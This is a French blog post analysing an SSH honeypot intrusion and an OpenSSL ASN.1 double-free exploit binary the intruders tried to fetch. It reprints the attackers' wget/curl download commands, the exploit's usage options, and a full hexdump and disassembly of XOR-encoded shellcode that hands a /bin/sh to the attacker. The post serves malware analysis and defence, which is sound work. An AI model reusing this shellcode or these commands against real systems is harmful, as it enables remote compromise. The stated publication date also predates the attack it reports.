Ça fait un bon moment que je n’avais pas donné de nouvelles de mon honeypot SSH.
Il faut dire que les visites sont assez rares et généralement peu intéressantes, se terminant par rapatriement d’un EnergyMech, d’un PsyBNC voire du scanner UnixCod qui continue à faire parler de lui.
Aujourd’hui j’ai l’occasion de vous parler de quelque chose de plus croustillant, qui tournera principalement sur l’analyse d’un binaire Linux.
L’intrusion
L’attaque a eu lieu le 25 octobre 2011. Une attaque bruteforce est lançée sur le faux serveur SSH à 14h11 et qui se terminera à 14h36. Il n’aura fallu q’une minute pour trouver les différents comptes avec mots de passes faibles.
Le scan est en provenance de l’ip 121.2.28.199
qui fait partie du réseau du FAI So-net, un fournisseur d’accès japonais et filiale de Sony.
Différents services tournent sur cette machine comme smtp, ftp (Microsoft FTP) et ssh (OpenSSH). Je n’ai pas cherché à en savoir plus mais il est fort possible que cette machine ait été infiltrée pour servir de relais aux pirates.
À 14h25, un premier visiteur humain se connecte au serveur en se loguant directement avec le compte test
. L’IP (86.154.169.82
) est britannique et correspond au FAI BT. Le seul port TCP ouvert semble être le 5060 (SIP) et doit correspondre à une config par défaut des box fournies par le FAI.
L’historique des commandes est le suivant :
1
2
3
4
5
6
7
8
9
10
11
14:25 w
14:26 passwd
14:26 passwd
14:28 cd
14:28 ls
14:29 get help-bnc.6te.net/psybnc-linux.tgz
14:29 wget help-bnc.6te.net/psybnc-linux.tgz
14:30 cdrl -O
14:31 curl -O 77.194.232.72help-bnc.6te.net/psybnc-linux.tgz
14:31 FTP
14:31 ftp
Rien de bien intéressant. L’intrus a voulu changer le mot de passe du compte test
pour fermer l’accès derrière lui et, voyant que l’accès était refusé, a fait une nouvelle tentative. Il a ensuite essayé de télécharger un PsyBNC
avant de laisser tomber.
Le relais est pris par l’IP 82.77.174.40
à 14h35. Ce visiteur de Roumanie (le FAI RCS&RDS gère à peu près tout ce qui touche aux communications) se connecte là encore directement avec le login test
. Il pourrait s’agir du collègue du premier ou encore du même visiteur qui a décidé de passer par un relais. Un petit coup de myIPneighbors nous apprend que différents sites Internet sont accessibles à cette adresse.
Les commandes lancées sont les suivantes :
1
2
3
4
5
6
7
8
9
10
14:35 cd ..
14:35 cd ..
14:35 ls
14:35 wget
14:35 wget www.[retiré].us/p/scan/scan.tar
14:36 ftp -cv wave.prohosting.com
14:37 ls
14:37 csd ..
14:37 cd ..
14:38 chmod +x *
Là encore, le visiteur ne fera pas de vieux os. Il a toutefois tenté de rappatrier un outil de scan intéressant.
scan.tar
Contrairement à ce que l’extension du fichier laissait supposer, le fichier est bien compressé à l’aide de gzip. Une fois décompressé, l’analyse de l’archive scan.tar
ne nous apprend rien de particulier (voir mon article sur l’analyse de fichiers tar). L’archive est au format ustar
mais les noms d’user/group sont vides. Ce qui ne nous aurait pas appris grand-chose de toute façon car l’archive semble avoir été créée en tant que root. Par contre, on connait les dates de dernière modification des fichiers contenues dans l’archive sur le système du pirate.
Les fichiers présents dans l’archive sont les suivants :
e
: un exécutable 32 bits, lié dynamiquement, strippé, datant du 4 juillet 2006.ee
: un fichier texte, plus précisément une suite de ligne de commandes (mais sans entête de script bash). Le fichier est daté au 4 décembre 2006SCANNER
: un exécutable 32 bits, lié dynamiquement, strippé et modifié pour la dernière fois le 26 septembre 2006.vuln.txt
: un fichier texte avec des CRLF en caractères de terminaison. Daté du 16 juin 2007, il contient des adresses ips avec à chaque fois un entête de réponse HTTP associé.
Pour plus de détails, les commandes dans le fichier ee
ressemblent à ceci :
1
2
3
4
echo -e '\033[36m Exploiting \033[34m '$1' \033[36m using apache 2.0.40 target 10 [Make by Evolver & Snake] \033[m'
./e -t 10 -r $1
./e -t 10 -r $1
...
Le script utilise le caractère d’échappement pour afficher des couleurs sur le terminal et exécute le binaire e
avec le paramètre -t
qui varie (bien qu’à chaque fois utilisé environ 10 fois) pour différentes versions d’Apache.
Le paramètre qui doit être passé au script ($1
) est une adresse IP comme nous le verrons un peu plus bas.
Le fichier vuln.txt
ressemble à ceci :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
200.241.116.58
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 14:42:51 GMT
Server: Apache/1.3.27 (Unix) PHP/4.3.1 mod_ssl/2.8.12 OpenSSL/0.9.7a
Last-Modified: Sun, 15 Jun 2003 10:21:02 GMT
ETag: quot;20ab4-1-3eec488equot;
Accept-Ranges: bytes
Content-Length: 1
Connection: close
Content-Type: text/html
-------------------------------------------------------------------
200.241.204.37
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 15:12:02 GMT
Server: Apache/2.0.44 (Unix) mod_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1 mod_jk/1.2.6
Connection: close
Content-Type: text/html; charset=ISO-8859-1
-------------------------------------------------------------------
Seul le format (une adresse IP, un header HTTP, une ligne de tirets) est à prendre en considération. On trouve aussi bien des entêtes Apache que IIS avec des configurations variables.
Analyse du binaire e
Bien que j’ai analysé les deux binaires, je me tiendrais ici à l’analyse de l’exécutable e
, les deux binaires ayant des fonctions très proches. Le binaire fait 75.4 Ko soit 4ko de plus que celui nommé SCANNER
.
L’analyse a été faite seulement par désassemblage à l’aide de la dernière version de HT Editor (2.0.10) en suivant une méthodologie décrite ici.
Bien que le binaire ne semble pas contenir de backdoor, j’ai préféré ne pas exécuter le programme.
Une fois à l’intérieur du main
, la première chose que fait le programme est d’analyser les paramètres passés en argument. Pour cela il fait appel à la fonction getopt_long()
. La chaine pour les arguments aux formats court est hr:p:v:x:cz:s:e:t:
.
On en apprend plus sur les paramètres par le biais des chaines de caractères utilisées dans un bout de code que j’ai baptisé usage
et qui puts()
les chaines suivantes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-h, --help - prints this help
-r, --hostname - which box you want hacked ?
(default: name returned by hostname function)
-p, --port - service port num - users connect
to it (https: 443, smtp: 25)
-c, --check - check only remote if it's exploitable, not exploit
-x, --retaddr - jmp *ecx / call *ecx instruction, (ff e1)
request use writeable address (default: 0xbfffe1ff)
frist unlink we will write it to some writeable address
-z, --retloc - free ()'s got address, some address we should rewrite it
(eg: objdump -R /path/httpd | grep free)
-v, --verbose - to be verbose
-s, --gotaddr - brute attack, guess the free's got address
(eg: 0x080xxxxx)
-e, --stack_addr - brute stack return address (default: 0xbffffefc)
-t, --type - try the knowns targets. (0 to list)
Cette aide est affichée dans plusieurs cas. Le premier si le nombre d’arguments (argc) n’est pas assez grand comme le montre ce code au début du main
:
1
2
3
mov ebx, [ebp+8]
cmp ebx, 1
jng 0x0804b77b
Dans ce cas, le programme affiche d’abord la bannière suivante : OpenSSL ASN1 deallocation exploit for linux/x86\n this copy for \e[32mrouter\e[0m\0
Les deux autres cas d’affichage des options sont l’utilisation explicite de l’option -h
et l’utilisation d’une option non existante.
L’utilisation de getopt_long()
ne facilite pas l’analyse du binaire, heureusement la page de manuelle nous apprend qu’une fois arrivée à la fin des options, la valeur -1 est retournée. On peut alors retrouver la suite de notre main :
Le programme va afficher une bannière avant de faire un signal(SIGPIPE, SIG_IGN)
pour empêcher que le programme quitte en cas d’erreur lors de la lecture sur un pipe.
On a ensuite un test qui est effectué sur une variable que j’ai baptisé port_443
(car initialisée à 0x1bb
= 443
, le port pour le HTTPS). Le programme compare simplement cette variable avec la valeur 25 (port SMTP), si la variable vaut effectivement 25, un booléen (baptisé test_443_25
pour l’occasion) est mis à true
puis on retourne à l’exécution logique du programme.
L’exécution du programme va alors se séparer en différentes parties en fonction des options qui ont été passées au programme.
Par exemple, on peut se retrouver sur une parcelle de code qui commence par l’affichage de la chaine this mode only check remote exploitable, not exploit
qui correspond de toute évidence à l’utilisation de l’option -c
.
Les autres cheminements possibles sont le mode force brute (-e
) et le mode target (-t
).
Ces différents modes font que l’on peut retrouver à différents endroits les mêmes opérations, l’auteur du programme ayant dû faire plusieurs copier/coller.
Par la suite, le cheminement pris pour l’analyse du programme sera celui du mode brute force qui nous accueille avec l’avertissement suivant :
you’ve enter try to brute-force attack mode, it’s will take a very long time, but will stop as soon as it considers that the correct got address could not be found, you are crazy, man :P
Deux variables sont ensuite initialisés. La première baptisée leet
est initialisée à 0x7a69
(soit 31337
). Le programme fait différentes comparaisons tout au long de son exécution avec cette valeur, et s’en sert notamment pour savoir s’il est en mode verbeux.
Quant à la seconde variable, je l’ai baptisée stack_address
.
Beaucoup de variables restent pour moi un mystère et il faudrait tracer l’exécution du programme pour déterminer leur rôle.
Le programme appelle ensuite une fonction que j’ai baptisé tcpConnect
.
tcpConnect
tcpConnect
est sans doute le nom original qui a été donné à cette fonction. En effet, toute erreur détectée à l’intérieur de cette fonction est remontée à l’aide de perror()
et d’un message de la forme tcpConnect:nom_de_la_fonction_qui_a_échoué
, par exemple tcpConnect:gethostbyname
.
Cette fonction a vraisemblablement été pompée sur un ou deux exploits existants.
Cette fonction prend trois paramètres : le nom de la machine à attaquer, le port à utiliser ainsi qu’un timeout pour la connexion spécifié en millisecondes (4000 pour la première connexion établie en mode brute force).
En comparant le binaire et les codes sources disponibles pour la fonction tcpConnect
, on retrouve bien certains passages comme le remplissage des structures hostent
et timeval
. La fonction retourne le socket créé si la connexion a réussi ou la valeur -1
dans le cas contraire.
Au retour du main
, le résultat de tcpConnect
est vérifié. Si la connexion n’a pas pû être établie, on est redirigé vers une fonction que j’ai baptisée print_error_and_exit
(je crois que c’est assez parlant).
HTTPS ou SMTP ?
Si la connexion a réussi, le programme continue son exécution en testant notre variable test_443_25
.
Dans le cas d’un port SMTP (valeur = 1), des instructions supplémentaires sont effectuées : la fonction readData
est appelée pour lire les données envoyées par le serveur SMTP et le code d’erreur récupéré à l’aide de strtol()
. Si le code est 220, le programme ne quitte pas.
readData et writeData
Le nom de la fonction est là encore assez explicite car utilisé dans les messages d’appels à strerror
.
Pour résumer, cette fonction est une interface verbeuse de recv()
et prends les mêmes arguments : socket, buffer et taille du buffer.
Le nombre d’octets lus est retourné ou -1 en cas d’erreur.
De la même façon, writeData
est une interface pour la fonction write()
et prend pour arguments le socket, le buffer et sa taille.
SMTP
Toujours dans la partie spécifique au protocole SMTP, le programme va se mettre à communiquer avec le serveur en envoyant la commande STARTTLS
à l’aide de writeData
.
L’utilisation de cette commande est expliquée dans le document SMTP Service Extension for Secure SMTP over TLS :
- The STARTTLS Command
The format for the STARTTLS command is:
STARTTLS token
where the token parameter is one of the tokens described in Section 4.
After the client gives the STARTTLS command, the server responds with one of the following reply codes:
- 220 - Ready to start TLS
- 501 - Syntax error (more than one parameter)
- 504 - TLS not available due to the server not being able to use the specified protocol
- 554 - TLS not available due to some other, temporary reason
A publicly-referenced server SHOULD be able to accept other SMTP commands before receiving a STARTTLS command. After receiving a 220 response to a STARTTLS command, the client MUST start the TLS procedure immediately.
Comme on s’y attend, le programme vérifie à nouveau la réponse. Si on a un code 220 alors tout est ok.
La partie spécifique au SMTP se termine et passe à des routines spécifiques au SSL/TLS.
Les noms que j’ai pu donner à ces routines ne correspondent pas forcément bien à leur rôle, les opérations étant difficiles à comprendre sans connaître en détail le protocole SSL.
SSL et TLS
La première fonction appelée est send_client_hello
. Une fonction très courte qui prend comme argument le socket et notre variable leet
qui est ici utilisée pour activer ou non le mode verbeux (si égal à 31337
).
La première vérification effectuée est de savoir si le protocole utilisé est le SSL3 ou le TLS1. Pour cela la variable is_ssl3_or_tls1
est lue et son contenu (un octet) vient remplacer certains caractères (3ᵉ et 11ᵉ) d’un buffer envoyé ensuite par writeData
.
Le buffer en question est préinitialisé à \0x16\x03\xcc\x00\x61\x01\x00\x00\x5d\x03?AAAAAAAA...
La réponse du serveur est obtenue par check_handshake
. La encore une fonction assez courte mais qui fait appelle à une fonction plus importante nommée read_handshake
.
Cette dernière alloue de la place pour de grosses zones mémoires qui sont mises à zéro par memset()
avant d’être remplies par la réponse du serveur. Un nombre important de vérification est alors fait pour s’assurer que le handshake a réussi sans quoi on passe par une fonction handshake_error
qui affiche une erreur puis switch
le SSL3 pour une utilisation du TLS1 (le message d’erreur est explicite).
Vulnérabilité OpenSSL
D’après l’output du programme, la faille exploité est OpenSSL ASN1 deallocation qui semble être plus connue sous le nom OpenSSL ASN.1 Parsing Vulnerabilities.
La description CVE de cette vulnérabilité est la suivante :
Double-free vulnerability in OpenSSL 0.9.7 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an SSL client certificate with a certain invalid ASN.1 encoding.
Cette description s’accorde bien avec l’option -z
du programme.
Certains exploits existent déjà pour cette vulnérabilité comme un brute forcer ou le openssl-too-open de Solar Eclipse dont certaines parties de code ont (à mon avis) été reprises pour ce binaire.
Core Impact a à priori aussi un exploit pour cette vulnérabilité, je ne serais pas surpris qu’il y ait aussi des similitudes avec celui-ci.
Pwnage
Maintenant que la connexion sécurisée a été établie, la phase d’exploitation commence vraiment.
La fonction exploit
fait une bonne taille. Elle prend 4 arguments, le premier étant le socket, le second un offset (adresse de retour) et le quatrième est notre variable leet
qui permet d’activer le mode verbeux. A l’heure actuelle le rôle du troisième argument m’échappe toujours.
Comme pour read_handshake
, de nombreuses opérations sont effectuées sur des buffers. La première étape est la lecture de données venant du serveur puis le calcul d’un buffer baptisé mega_buf1
, modifié en fonction du protocole (SSL3 ou TLS1) pour répondre au serveur.
D’autres paquets de données sont envoyés dans la foulée (mega_buf2
et mega_buf3
) donc le rôle semble être totalement protocolaire.
Le programme effectue ensuite une pause d’une seconde avant d’envoyer le shellcode ainsi que l’offset.
Shellcoding fun
Voici un hexdump du shellcode une fois extrait du binaire :
1
2
3
4
5
6
7
8
9
10
11
12
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
eb 0e 5a 4a 31 c9 b1 99 80 34 11 fa e2 fa eb 05 |..ZJ1....4......|
e8 ed ff ff ff 13 7d fa fa fa a5 cb 33 4f fe 73 |......}.....3O.s|
31 ab cb 33 4b f9 cb 28 cb 3a 4a cd 37 7a 73 3c |1..3K..(.:J.7zs<|
73 38 7a 34 f2 bb cb 3a 4a cd 37 7a 73 30 77 b5 |s8z4...:J.7zs0w.|
f2 73 2a b2 37 7a 73 2b 73 08 cb 3a 4a cd 37 7a |.s*.7zs+s..:J.7z|
a3 7b 85 f2 94 9f 8c 9f 8e fe 18 39 11 47 cb 3a |.{.........9.G.:|
aa 92 8d ca ca 8e 73 1b 4a fe 73 38 37 7a cb 33 |......s.J.s87z.3|
cb 3a 4a c5 37 7a bb cb 3a 4a c5 37 7a bb cb 3a |.:J.7z..:J.7z..:|
4a c5 37 7a 73 01 73 a5 f2 cb 3a 73 bd f6 72 bd |J.7zs.s...:s..r.|
fd cb 28 77 b5 f2 4a f1 37 7a cb 21 73 22 ba 37 |..(w..J.7z.!s".7|
7a 12 8e 05 05 05 d5 98 93 94 d5 89 92 c5 00 |z..............|
On remarque la présence de NOP (0x90
) au début, suivi d’un saut (0xeb
) qui permettent de le reconnaître facilement.
En revanche la suite n’a rien de bien habituelle, en particulier on note l’absence de la chaine /bin/sh.
Pour comprendre le fonctionnement du shellcode, on le place dans un fichier et on tape ndisasm -u shellcode
:
1
2
3
4
5
6
7
8
9
10
11
00000010 EB0E jmp short 0x20
00000012 5A pop edx
00000013 4A dec edx
00000014 31C9 xor ecx,ecx
00000016 B199 mov cl,0x99
00000018 803411FA xor byte [ecx+edx],0xfa
0000001C E2FA loop 0x18
0000001E EB05 jmp short 0x25
00000020 E8EDFFFFFF call 0x12
00000025 137DFA adc edi,[ebp-0x6]
...
La raison pour laquelle le shellcode n’est en grande partie pas lisible, c’est qu’une partie est crypté à l’aide d’un XOR.
Le code effectue un saut vers l’instruction call à l’adresse 20. Le call le ramène à la seconde instruction avec l’adresse du reste du shellcode dans la pile (car aucun ret
n’a été effectué). Cette adresse est récupérée et placée dans edx
.
Tout le code à partir de cette adresse est décodé à l’aide d’un XOR avec 0xfa
sur une longueur de 153 (0x99
) octets.
Une fois décodé, le code qui nous manquait est :
1
2
3
4
5
6
7
8
9
10
e9 87 00 00 00 5f 31 c9 b5 04 89 cb 51 31 c9 b1 |....._1.....Q1..|
03 31 d2 31 c0 b0 37 cd 80 89 c6 89 c2 80 ce 08 |.1.1..7.........|
41 31 c0 b0 37 cd 80 89 ca 8d 4f 08 89 d0 48 cd |A1..7.....O...H.|
80 89 d1 89 f2 31 c0 b0 37 cd 80 59 81 7f 08 6e |.....1..7..Y...n|
65 76 65 74 04 e2 c3 eb bd 31 c0 50 68 77 30 30 |evet.....1.Phw00|
74 89 e1 b0 04 89 c2 cd 80 31 c9 31 c0 b0 3f cd |t........1.1..?.|
80 41 31 c0 b0 3f cd 80 41 31 c0 b0 3f cd 80 89 |.A1..?..A1..?...|
fb 89 5f 08 31 c0 89 47 0c 88 47 07 31 d2 8d 4f |.._.1..G..G.1..O|
08 b0 0b cd 80 31 db 89 d8 40 cd 80 e8 74 ff ff |.....1...@...t..|
ff 2f 62 69 6e 2f 73 68 3f fa |./bin/sh?.|
Soit les instructions suivantes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
00000000 E987000000 jmp 0x8c
00000005 5F pop edi
00000006 31C9 xor ecx,ecx
00000008 B504 mov ch,0x4
0000000A 89CB mov ebx,ecx
0000000C 51 push ecx
0000000D 31C9 xor ecx,ecx
0000000F B103 mov cl,0x3
00000011 31D2 xor edx,edx
00000013 31C0 xor eax,eax
00000015 B037 mov al,0x37 ; fcntl
00000017 CD80 int 0x80
00000019 89C6 mov esi,eax
0000001B 89C2 mov edx,eax
0000001D 80CE08 or dh,0x8
00000020 41 inc ecx
00000021 31C0 xor eax,eax
00000023 B037 mov al,0x37 ; fcntl
00000025 CD80 int 0x80
00000027 89CA mov edx,ecx
00000029 8D4F08 lea ecx,[edi+0x8]
0000002C 89D0 mov eax,edx
0000002E 48 dec eax
0000002F CD80 int 0x80 ; read
00000031 89D1 mov ecx,edx
00000033 89F2 mov edx,esi
00000035 31C0 xor eax,eax
00000037 B037 mov al,0x37 ; fcntl
00000039 CD80 int 0x80
0000003B 59 pop ecx
0000003C 817F086E657665 cmp dword [edi+0x8],0x6576656e ; even/neve
00000043 7404 jz 0x49
00000045 E2C3 loop 0xa
00000047 EBBD jmp short 0x6
00000049 31C0 xor eax,eax
0000004B 50 push eax
0000004C 6877303074 push dword 0x74303077 ; t00w/w00t
00000051 89E1 mov ecx,esp
00000053 B004 mov al,0x4 ; write
00000055 89C2 mov edx,eax
00000057 CD80 int 0x80
00000059 31C9 xor ecx,ecx ; stdin
0000005B 31C0 xor eax,eax
0000005D B03F mov al,0x3f ; dup2
0000005F CD80 int 0x80
00000061 41 inc ecx ; stdout
00000062 31C0 xor eax,eax
00000064 B03F mov al,0x3f ; dup2
00000066 CD80 int 0x80
00000068 41 inc ecx ; stderr
00000069 31C0 xor eax,eax
0000006B B03F mov al,0x3f ; dup2
0000006D CD80 int 0x80
0000006F 89FB mov ebx,edi
00000071 895F08 mov [edi+0x8],ebx
00000074 31C0 xor eax,eax
00000076 89470C mov [edi+0xc],eax
00000079 884707 mov [edi+0x7],al
0000007C 31D2 xor edx,edx
0000007E 8D4F08 lea ecx,[edi+0x8]
00000081 B00B mov al,0xb ; execve
00000083 CD80 int 0x80
00000085 31DB xor ebx,ebx
00000087 89D8 mov eax,ebx
00000089 40 inc eax
0000008A CD80 int 0x80 ; exit
0000008C E874FFFFFF call 0x5
00000091 2F62696E2F7368 /bin/sh
00000098 3F aas
00000099 FA cli
check_exploit_result
Le shellcode est en grande partie facilement compréhensible : il redirige les entrées/sorties vers un beau /bin/sh
prêt à servir.
Pourtant, juste avant il effectue un read()
puis un write()
pour le moins énigmatiques.
Le mystère est levé par un appel à la fonction check_exploit_result
qui vient directement après l’appel à exploit
.
check_exploit_result
prend pour seul argument le socket de la connexion. Il commence par envoyer la chaine neve
au serveur puis attend une réponse de la part du serveur. Si la réponse contient w00t
, le programme affiche un message de victoire (w3 g0t 1t
) et passe à une fonction get_shell
qui envoie quelques commandes pour configurer le shell distant puis récupère ce qui est tapé à la console pour le renvoyer sur le socket et vice/versa.
Le code du shellcode de son côté va lire les données venant du client, et si le message est neve
, il renvoie la réponse w00t
.
Un test pratique pour déterminer si le shellcode a bien été exécuté :)
Exit
Pour conclure, le binaire était très intéressant et a sans doute peu circulé à l’heure actuelle. Il semble aller plus loin dans l’exploitation de la vulnérabilité d’OpenSSL en prenant en compte le protocole TLS1 et en s’attaquant aussi aux services de “Secure SMTP over TLS”.
L’autre binaire est assez proche à la différence qu’il s’agit d’un scanneur : on lui passe une plage d’adresses IP et il va chercher des machines vulnérables sans les exploiter (la code correspond au mode -c
du binaire analysé). Quand il en trouve une il les rajoute au fichier vuln.txt
dont on a vu la structure au début.
Et pendant que j’y pense, dans le scanner on trouve des mots en roumain alors qu’il n’y en a pas dans le binaire e
.
La meilleure façon de se protéger de cette attaque est d’être à jour de ses logiciels, les offsets proposés par le programme correspondant aux versions suivantes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
SuSE 9.0 (apache-1.3.28-60.i586.rpm)
SuSE 9.0 (apache2-leader-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-metuxmpm-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-prefork-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-worker-2.0.48-9.i586.rpm)
Mandrake 9.1 (apache2-2.0.44-11mdk.i586.rpm)
Mandrake 9.1 (apache2-2.0.47-1.6.91mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6.3.92mdk.i586.rpm)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd.worker)
Red Hat 9 (httpd-2.0.40-21.3.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd.worker)
Published January 11 2011 at 06:56